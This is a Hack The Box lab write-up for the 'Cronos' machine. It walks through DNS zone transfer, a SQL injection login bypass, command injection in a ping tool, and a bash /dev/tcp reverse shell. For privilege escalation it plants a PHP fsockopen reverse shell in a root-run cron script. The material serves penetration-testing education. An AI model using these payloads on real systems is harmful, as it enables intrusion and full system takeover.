Hack The Box - Cronos Machine Write-up

By CheN.. · Jul. 07, 2025 · 7 min read

( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )

Intro

This machine is rated Medium, but it felt medium-easy overall. Once the SQL injection shows up, the hints are obvious. This write-up shows exactly how I did it.

Enumeration

Start with an nmap scan.

┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.227.211
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 03:00 EDT
Nmap scan report for 10.129.227.211
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds

Direct visit to the IP shows the Ubuntu default page.

Port 53 is open, so I enumerate DNS.

┌──(samchen㉿kali)-[~/Desktop]
└─$ dig axfr @10.129.227.211 cronos.htb

; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr @10.129.227.211 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 3 msec
;; SERVER: 10.129.227.211#53(10.129.227.211) (TCP)
;; WHEN: Fri Oct 10 19:30:56 CDT 2025
;; XFR size: 7 records (messages 1, bytes 203)

Found several subdomains and added them to /etc/hosts .

10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb

Opened cronos.htb . Just a simple page, nothing useful.

Next, admin.cronos.htb looks like a backend login page.

Tried common weak credentials, no luck.

Tested SQL injection and logged in. Username payload: ' OR '1'='1' #

Why the SQL injection works？ The query likely looked like this：

-- Assume a normal input：username=admin, password=123456
SELECT * FROM users WHERE username = 'admin' AND password = '123456';

After substituting the payload (likely MySQL)

-- In username: ' OR '1'='1' # ; leave password empty
SELECT * FROM users WHERE username = '' OR '1'='1' # ' AND password = '';
-- Everything after '#' is commented out

The comment truncates the password check, and 1=1 is always true, so the query succeeds！

After login there is a tool that pings a supplied IP. That is a clear hint for command injection. I tried a basic test first：

8.8.8.8;id

The output returns id . The process runs as www-data .

Reverse Shell

With the issue confirmed, I prepared the reverse shell and set up a listener on my machine.

nc -lvnp 1999

Used the web tool to execute the payload.

8.8.8.8; bash -c 'bash -i >& /dev/tcp/10.10.14.2/1999 0>&1'

Successfully triggered and obtained a shell.

Grabbed user.txt！

Final Privilege Escalation

After some recon I noticed /etc/crontab .

www-data@cronos:/etc$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

I noticed the last entry runs as root every minute: php /var/www/laravel/artisan schedule:run

Checked if I could write to it.

www-data@cronos:/etc$ ls -l /var/www/laravel/artisan
ls -l /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

www-data@cronos:/etc$ test -w /var/www/laravel/artisan && echo OK-write || echo NO-write
<-w /var/www/laravel/artisan && echo OK-write || echo NO-write               
OK-write

Backed up the file and planted a reverse shell.

www-data@cronos:/var/www/admin$ cp /var/www/laravel/artisan /var/www/laravel/artisan.bak
<min$ cp /var/www/laravel/artisan /var/www/laravel/artisan.bak 

www-data@cronos:/var/www/admin$ cat > /tmp/payload.php <<'PHP'
<?php
$s = fsockopen("10.10.14.2",4444);
if ($s){ exec("/bin/sh -i <&3 >&3 2>&3"); }
?>
PHP
cat > /tmp/payload.php <<'PHP'
> <?php
> $s = fsockopen("10.10.14.2",4444);
> if ($s){ exec("/bin/sh -i <&3 >&3 2>&3"); }
> ?>
> PHP

www-data@cronos:/var/www/admin$ cat /tmp/payload.php /var/www/laravel/artisan.bak > /var/www/laravel/artisan
</var/www/laravel/artisan.bak > /var/www/laravel/artisan  

www-data@cronos:/var/www/admin$ head -n 5 /var/www/laravel/artisan
head -n 5 /var/www/laravel/artisan
<?php
$s = fsockopen("10.10.14.2",4444);
if ($s){ exec("/bin/sh -i <&3 >&3 2>&3"); }
?>
#!/usr/bin/env php

Set up the listener again, got a root shell, and grabbed root.txt！